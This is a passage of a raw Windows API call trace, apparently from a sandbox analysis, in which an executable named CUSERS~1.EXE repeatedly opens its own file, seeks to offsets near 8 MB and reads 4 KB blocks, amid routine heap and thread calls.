lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0075.095] GetCurrentThreadId () returned 0x9b0 [0075.095] GetCurrentThreadId () returned 0x9b0 [0075.095] GetCurrentThreadId () returned 0x9b0 [0075.095] GetLastError () returned 0x2 [0075.095] GetLastError () returned 0x2 [0075.095] GetLastError () returned 0x2 [0075.095] GetLastError () returned 0x2 [0075.095] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca84c0 | out: hHeap=0x2ad0000) returned 1 [0075.095] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8b100 [0075.096] GetLastError () returned 0x2 [0075.096] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9fe0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d8 [0075.096] GetFileType (hFile=0x2d8) returned 0x1 [0075.096] GetLastError () returned 0x0 [0075.096] GetCurrentThreadId () returned 0x9b0 [0075.096] GetLastError () returned 0x0 [0075.096] GetFileType (hFile=0x2d8) returned 0x1 [0075.096] GetFileInformationByHandle (in: hFile=0x2d8, lpFileInformation=0x9ba05c | out: lpFileInformation=0x9ba05c) returned 1 [0075.096] FileTimeToLocalFileTime (in: lpFileTime=0x9ba070, lpLocalFileTime=0x9ba0a0 | out: lpLocalFileTime=0x9ba0a0) returned 1 [0075.096] FileTimeToSystemTime (in: lpFileTime=0x9ba0a0, lpSystemTime=0x9ba090 | out: lpSystemTime=0x9ba090) returned 1 [0075.096] FileTimeToLocalFileTime (in: lpFileTime=0x9ba068, lpLocalFileTime=0x9ba0a0 | out: lpLocalFileTime=0x9ba0a0) returned 1 [0075.096] FileTimeToSystemTime (in: lpFileTime=0x9ba0a0, lpSystemTime=0x9ba090 | out: lpSystemTime=0x9ba090) returned 1 [0075.096] FileTimeToLocalFileTime (in: lpFileTime=0x9ba060, lpLocalFileTime=0x9ba0a0 | out: lpLocalFileTime=0x9ba0a0) returned 1 [0075.096] FileTimeToSystemTime (in: lpFileTime=0x9ba0a0, lpSystemTime=0x9ba090 | out: lpSystemTime=0x9ba090) returned 1 [0075.096] GetLastError () returned 0x0 [0075.096] GetCurrentThreadId () returned 0x9b0 [0075.096] GetLastError () returned 0x0 [0075.096] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0075.096] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0075.097] GetLastError () returned 0x0 [0075.097] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8048961, lpDistanceToMoveHigh=0x9ba110*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba110*=0) returned 0x7ad141 [0075.097] GetLastError () returned 0x0 [0075.097] GetCurrentThreadId () returned 0x9b0 [0075.097] GetLastError () returned 0x0 [0075.097] GetCurrentThreadId () returned 0x9b0 [0075.097] GetLastError () returned 0x0 [0075.097] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8048961, lpDistanceToMoveHigh=0x9ba4a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba4a8*=0) returned 0x7ad141 [0075.097] GetLastError () returned 0x0 [0075.097] GetCurrentThreadId () returned 0x9b0 [0075.097] GetLastError () returned 0x0 [0075.097] GetCurrentThreadId () returned 0x9b0 [0075.097] GetLastError () returned 0x0 [0075.097] ReadFile (in: hFile=0x2d8, lpBuffer=0x2cc24c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba45c, lpOverlapped=0x0 | out: lpBuffer=0x2cc24c8*, lpNumberOfBytesRead=0x9ba45c*=0x1000, lpOverlapped=0x0) returned 1 [0075.097] GetLastError () returned 0x0 [0075.097] GetCurrentThreadId () returned 0x9b0 [0075.097] GetLastError () returned 0x0 [0075.097] GetCurrentThreadId () returned 0x9b0 [0075.097] GetLastError () returned 0x0 [0075.098] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b9134*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b9134*=0) returned 0x7ae141 [0075.098] GetLastError () returned 0x0 [0075.098] GetCurrentThreadId () returned 0x9b0 [0075.098] GetLastError () returned 0x0 [0075.098] GetLastError () returned 0x0 [0075.098] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc24c8 | out: hHeap=0x2ad0000) returned 1 [0075.098] CloseHandle (hObject=0x2d8) returned 1 [0075.098] GetLastError () returned 0x0 [0075.098] GetCurrentThreadId () returned 0x9b0 [0075.098] GetLastError () returned 0x0 [0075.098] GetCurrentThreadId () returned 0x9b0 [0075.098] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x317d7f0 [0075.098] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x317f3c8 [0075.098] GetLastError () returned 0x0 [0075.098] GetCurrentThreadId () returned 0x9b0 [0075.098] GetLastError () returned 0x0 [0075.098] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x317d7f0 | out: hHeap=0x2ad0000) returned 1 [0075.098] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x317f3c8, Size=0x260) returned 0x317f3c8 [0075.098] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca83b8 [0075.098] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca83b8, Size=0x20) returned 0x3028328 [0075.099] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028328, Size=0x40) returned 0x2a18d40 [0075.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18d40 | out: hHeap=0x2ad0000) returned 1 [0075.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x317f3c8 | out: hHeap=0x2ad0000) returned 1 [0075.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x160) returned 0x2cb6038 [0075.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cb6038 | out: hHeap=0x2ad0000) returned 1 [0075.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b100 [0075.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fb2c0 [0075.099] GetCurrentThreadId () returned 0x9b0 [0075.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0075.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0075.099] GetCurrentThreadId () returned 0x9b0 [0075.099] GetCurrentThreadId () returned 0x9b0 [0075.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0075.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0075.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.099] GetCurrentThreadId () returned 0x9b0 [0075.099] GetCurrentThreadId () returned 0x9b0 [0075.099] GetCurrentThreadId () returned 0x9b0 [0075.099] GetCurrentThreadId () returned 0x9b0 [0075.099] GetCurrentThreadId () returned 0x9b0 [0075.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0075.100] GetCurrentThreadId () returned 0x9b0 [0075.100] GetCurrentThreadId () returned 0x9b0 [0075.100] GetLastError () returned 0x0 [0075.100] GetLastError () returned 0x0 [0075.100] GetLastError () returned 0x0 [0075.100] GetLastError () returned 0x0 [0075.100] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8298 | out: hHeap=0x2ad0000) returned 1 [0075.100] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x302bb00 [0075.100] GetLastError () returned 0x0 [0075.100] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9990, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d8 [0075.100] GetFileType (hFile=0x2d8) returned 0x1 [0075.100] GetLastError () returned 0x0 [0075.100] GetCurrentThreadId () returned 0x9b0 [0075.100] GetLastError () returned 0x0 [0075.100] GetFileType (hFile=0x2d8) returned 0x1 [0075.100] GetFileInformationByHandle (in: hFile=0x2d8, lpFileInformation=0x9b9a0c | out: lpFileInformation=0x9b9a0c) returned 1 [0075.100] FileTimeToLocalFileTime (in: lpFileTime=0x9b9a20, lpLocalFileTime=0x9b9a50 | out: lpLocalFileTime=0x9b9a50) returned 1 [0075.100] FileTimeToSystemTime (in: lpFileTime=0x9b9a50, lpSystemTime=0x9b9a40 | out: lpSystemTime=0x9b9a40) returned 1 [0075.100] FileTimeToLocalFileTime (in: lpFileTime=0x9b9a18, lpLocalFileTime=0x9b9a50 | out: lpLocalFileTime=0x9b9a50) returned 1 [0075.101] FileTimeToSystemTime (in: lpFileTime=0x9b9a50, lpSystemTime=0x9b9a40 | out: lpSystemTime=0x9b9a40) returned 1 [0075.101] FileTimeToLocalFileTime (in: lpFileTime=0x9b9a10, lpLocalFileTime=0x9b9a50 | out: lpLocalFileTime=0x9b9a50) returned 1 [0075.101] FileTimeToSystemTime (in: lpFileTime=0x9b9a50, lpSystemTime=0x9b9a40 | out: lpSystemTime=0x9b9a40) returned 1 [0075.101] GetLastError () returned 0x0 [0075.101] GetCurrentThreadId () returned 0x9b0 [0075.101] GetLastError () returned 0x0 [0075.101] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x302bb00 | out: hHeap=0x2ad0000) returned 1 [0075.101] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201c8 | out: hHeap=0x2ad0000) returned 1 [0075.101] GetLastError () returned 0x0 [0075.101] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8049319, lpDistanceToMoveHigh=0x9b9ac0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9ac0*=0) returned 0x7ad2a7 [0075.101] GetLastError () returned 0x0 [0075.101] GetCurrentThreadId () returned 0x9b0 [0075.101] GetLastError () returned 0x0 [0075.101] GetCurrentThreadId () returned 0x9b0 [0075.101] GetLastError () returned 0x0 [0075.101] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8049319, lpDistanceToMoveHigh=0x9b9e58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9e58*=0) returned 0x7ad2a7 [0075.101] GetCurrentThreadId () returned 0x9b0 [0075.101] GetCurrentThreadId () returned 0x9b0 [0075.101] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x207) returned 0x2cbe3e0 [0075.101] ReadFile (in: hFile=0x2d8, lpBuffer=0x2cc44d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b9e0c, lpOverlapped=0x0 | out: lpBuffer=0x2cc44d8*, lpNumberOfBytesRead=0x9b9e0c*=0x1000, lpOverlapped=0x0) returned 1 [0075.102] GetCurrentThreadId () returned 0x9b0 [0075.102] GetCurrentThreadId () returned 0x9b0 [0075.102] GetCurrentThreadId () returned 0x9b0 [0075.102] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b8ae4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b8ae4*=0) returned 0x7ae2a7 [0075.102] GetCurrentThreadId () returned 0x9b0 [0075.102] CloseHandle (hObject=0x2d8) returned 1 [0075.102] GetCurrentThreadId () returned 0x9b0 [0075.102] GetCurrentThreadId () returned 0x9b0 [0075.102] GetCurrentThreadId () returned 0x9b0 [0075.102] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0075.102] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0075.102] GetCurrentThreadId () returned 0x9b0 [0075.102] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x3028418 [0075.102] GetCurrentThreadId () returned 0x9b0 [0075.102] GetCurrentThreadId () returned 0x9b0 [0075.102] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0075.102] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0075.102] GetCurrentThreadId () returned 0x9b0 [0075.102] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x30283a0 [0075.103] GetCurrentThreadId () returned 0x9b0 [0075.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.103] GetCurrentThreadId () returned 0x9b0 [0075.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0075.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0075.103] GetCurrentThreadId () returned 0x9b0 [0075.103] GetCurrentThreadId () returned 0x9b0 [0075.103] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0075.103] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0075.103] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.103] GetCurrentThreadId () returned 0x9b0 [0075.103] GetCurrentThreadId () returned 0x9b0 [0075.103] GetCurrentThreadId () returned 0x9b0 [0075.103] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.103] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.103] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab8ce8, Size=0x1c) returned 0x2ab8ce8 [0075.103] GetCurrentThreadId () returned 0x9b0 [0075.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.103] GetCurrentThreadId () returned 0x9b0 [0075.103] GetCurrentThreadId () returned 0x9b0 [0075.104] GetCurrentThreadId () returned 0x9b0 [0075.104] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba3e8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d8 [0075.104] GetFileType (hFile=0x2d8) returned 0x1 [0075.104] GetCurrentThreadId () returned 0x9b0 [0075.104] GetFileType (hFile=0x2d8) returned 0x1 [0075.104] GetFileInformationByHandle (in: hFile=0x2d8, lpFileInformation=0x9ba464 | out: lpFileInformation=0x9ba464) returned 1 [0075.104] FileTimeToLocalFileTime (in: lpFileTime=0x9ba478, lpLocalFileTime=0x9ba4a8 | out: lpLocalFileTime=0x9ba4a8) returned 1 [0075.104] FileTimeToSystemTime (in: lpFileTime=0x9ba4a8, lpSystemTime=0x9ba498 | out: lpSystemTime=0x9ba498) returned 1 [0075.104] FileTimeToLocalFileTime (in: lpFileTime=0x9ba470, lpLocalFileTime=0x9ba4a8 | out: lpLocalFileTime=0x9ba4a8) returned 1 [0075.104] FileTimeToSystemTime (in: lpFileTime=0x9ba4a8, lpSystemTime=0x9ba498 | out: lpSystemTime=0x9ba498) returned 1 [0075.104] FileTimeToLocalFileTime (in: lpFileTime=0x9ba468, lpLocalFileTime=0x9ba4a8 | out: lpLocalFileTime=0x9ba4a8) returned 1 [0075.104] FileTimeToSystemTime (in: lpFileTime=0x9ba4a8, lpSystemTime=0x9ba498 | out: lpSystemTime=0x9ba498) returned 1 [0075.104] GetLastError () returned 0x0 [0075.105] GetCurrentThreadId () returned 0x9b0 [0075.105] GetLastError () returned 0x0 [0075.105] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x302bd10 | out: hHeap=0x2ad0000) returned 1 [0075.105] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20018 | out: hHeap=0x2ad0000) returned 1 [0075.105] GetLastError () returned 0x0 [0075.105] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8049817, lpDistanceToMoveHigh=0x9ba518*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba518*=0) returned 0x7ad499 [0075.105] GetLastError () returned 0x0 [0075.105] GetCurrentThreadId () returned 0x9b0 [0075.105] GetLastError () returned 0x0 [0075.105] GetCurrentThreadId () returned 0x9b0 [0075.105] GetLastError () returned 0x0 [0075.105] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8064543, lpDistanceToMoveHigh=0x9ba8b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba8b0*=0) returned 0x7b0e1f [0075.105] GetLastError () returned 0x0 [0075.105] GetCurrentThreadId () returned 0x9b0 [0075.105] GetLastError () returned 0x0 [0075.105] GetCurrentThreadId () returned 0x9b0 [0075.105] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xfdb) returned 0x2cb7a38 [0075.105] GetLastError () returned 0x0 [0075.105] ReadFile (in: hFile=0x2d8, lpBuffer=0x2cc04b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba864, lpOverlapped=0x0 | out: lpBuffer=0x2cc04b8*, lpNumberOfBytesRead=0x9ba864*=0x1000, lpOverlapped=0x0) returned 1 [0075.106] GetLastError () returned 0x0 [0075.106] GetCurrentThreadId () returned 0x9b0 [0075.106] GetLastError () returned 0x0 [0075.106] GetCurrentThreadId () returned 0x9b0 [0075.106] GetLastError () returned 0x0 [0075.106] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b953c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b953c*=0) returned 0x7b1e1f [0075.106] GetLastError () returned 0x0 [0075.106] GetCurrentThreadId () returned 0x9b0 [0075.106] GetLastError () returned 0x0 [0075.106] GetLastError () returned 0x0 [0075.106] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0075.106] CloseHandle (hObject=0x2d8) returned 1 [0075.106] GetLastError () returned 0x0 [0075.106] GetCurrentThreadId () returned 0x9b0 [0075.106] GetLastError () returned 0x0 [0075.106] GetLastError () returned 0x0 [0075.106] GetCurrentThreadId () returned 0x9b0 [0075.106] GetLastError () returned 0x0 [0075.107] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x317d7f0 | out: hHeap=0x2ad0000) returned 1 [0075.107] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x317f3c8, Size=0x3567) returned 0x317f3c8 [0075.107] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cb7a38 | out: hHeap=0x2ad0000) returned 1 [0075.107] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca81d8 [0075.107] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca81d8, Size=0x20) returned 0x3028440 [0075.107] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028440, Size=0x40) returned 0x2a19178 [0075.107] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19178, Size=0x64) returned 0x2a19428 [0075.107] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19428, Size=0x8c) returned 0x2ac0f98 [0075.107] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0f98, Size=0xb8) returned 0x3028988 [0075.107] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028988, Size=0xe8) returned 0x2ac8ea0 [0075.107] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac8ea0, Size=0x120) returned 0x2c37020 [0075.107] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c37020, Size=0x160) returned 0x2cb5ed0 [0075.107] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3ac) returned 0x2cb6ec0 [0075.107] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb5ed0, Size=0x1a8) returned 0x2cb8140 [0075.107] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb8140, Size=0x1f8) returned 0x2c30bb8 [0075.108] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c30bb8 | out: hHeap=0x2ad0000) returned 1 [0075.108] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x317f3c8 | out: hHeap=0x2ad0000) returned 1 [0075.108] GetCurrentThreadId () returned 0x9b0 [0075.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x302bc60 [0075.108] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x302bc60 | out: hHeap=0x2ad0000) returned 1 [0075.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fc6a8 [0075.108] GetCurrentThreadId () returned 0x9b0 [0075.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0075.108] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0075.108] GetCurrentThreadId () returned 0x9b0 [0075.108] GetCurrentThreadId () returned 0x9b0 [0075.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0075.108] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0075.108] GetCurrentThreadId () returned 0x9b0 [0075.108] GetCurrentThreadId () returned 0x9b0 [0075.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.108] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.108] GetCurrentThreadId () returned 0x9b0 [0075.108] GetCurrentThreadId () returned 0x9b0 [0075.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.108] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.108] GetCurrentThreadId () returned 0x9b0 [0075.108] GetCurrentThreadId () returned 0x9b0 [0075.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0075.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0075.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.109] GetCurrentThreadId () returned 0x9b0 [0075.109] GetCurrentThreadId () returned 0x9b0 [0075.109] GetCurrentThreadId () returned 0x9b0 [0075.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2cb7278 [0075.109] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cb7278 | out: hHeap=0x2ad0000) returned 1 [0075.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2cb7278 [0075.109] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb7278, Size=0x1c) returned 0x2cb7278 [0075.109] GetCurrentThreadId () returned 0x9b0 [0075.109] GetCurrentThreadId () returned 0x9b0 [0075.109] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cb7278 | out: hHeap=0x2ad0000) returned 1 [0075.109] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.109] GetCurrentThreadId () returned 0x9b0 [0075.109] GetCurrentThreadId () returned 0x9b0 [0075.109] GetLastError () returned 0x0 [0075.109] GetLastError () returned 0x0 [0075.109] GetLastError () returned 0x0 [0075.109] GetLastError () returned 0x0 [0075.109] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8448 | out: hHeap=0x2ad0000) returned 1 [0075.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x302ba70 [0075.109] GetLastError () returned 0x0 [0075.110] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9c68, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d8 [0075.110] GetFileType (hFile=0x2d8) returned 0x1 [0075.110] GetLastError () returned 0x0 [0075.110] GetCurrentThreadId () returned 0x9b0 [0075.110] GetLastError () returned 0x0 [0075.110] GetFileType (hFile=0x2d8) returned 0x1 [0075.110] GetFileInformationByHandle (in: hFile=0x2d8, lpFileInformation=0x9b9ce4 | out: lpFileInformation=0x9b9ce4) returned 1 [0075.110] FileTimeToLocalFileTime (in: lpFileTime=0x9b9cf8, lpLocalFileTime=0x9b9d28 | out: lpLocalFileTime=0x9b9d28) returned 1 [0075.110] FileTimeToSystemTime (in: lpFileTime=0x9b9d28, lpSystemTime=0x9b9d18 | out: lpSystemTime=0x9b9d18) returned 1 [0075.110] FileTimeToLocalFileTime (in: lpFileTime=0x9b9cf0, lpLocalFileTime=0x9b9d28 | out: lpLocalFileTime=0x9b9d28) returned 1 [0075.110] FileTimeToSystemTime (in: lpFileTime=0x9b9d28, lpSystemTime=0x9b9d18 | out: lpSystemTime=0x9b9d18) returned 1 [0075.110] FileTimeToLocalFileTime (in: lpFileTime=0x9b9ce8, lpLocalFileTime=0x9b9d28 | out: lpLocalFileTime=0x9b9d28) returned 1 [0075.110] FileTimeToSystemTime (in: lpFileTime=0x9b9d28, lpSystemTime=0x9b9d18 | out: lpSystemTime=0x9b9d18) returned 1 [0075.110] GetLastError () returned 0x0 [0075.110] GetCurrentThreadId () returned 0x9b0 [0075.110] GetLastError () returned 0x0 [0075.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x302ba70 | out: hHeap=0x2ad0000) returned 1 [0075.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0075.110] GetLastError () returned 0x0 [0075.111] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8068581, lpDistanceToMoveHigh=0x9b9d98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9d98*=0) returned 0x7b1de5 [0075.111] GetLastError () returned 0x0 [0075.111] GetCurrentThreadId () returned 0x9b0 [0075.111] GetLastError () returned 0x0 [0075.111] GetCurrentThreadId () returned 0x9b0 [0075.111] GetLastError () returned 0x0 [0075.111] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8050385, lpDistanceToMoveHigh=0x9ba130*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba130*=0) returned 0x7ad6d1 [0075.111] GetLastError () returned 0x0 [0075.111] GetCurrentThreadId () returned 0x9b0 [0075.111] GetLastError () returned 0x0 [0075.111] GetCurrentThreadId () returned 0x9b0 [0075.111] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2ff) returned 0x30f5d18 [0075.111] GetLastError () returned 0x0 [0075.111] ReadFile (in: hFile=0x2d8, lpBuffer=0x2cc44d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba0e4, lpOverlapped=0x0 | out: lpBuffer=0x2cc44d8*, 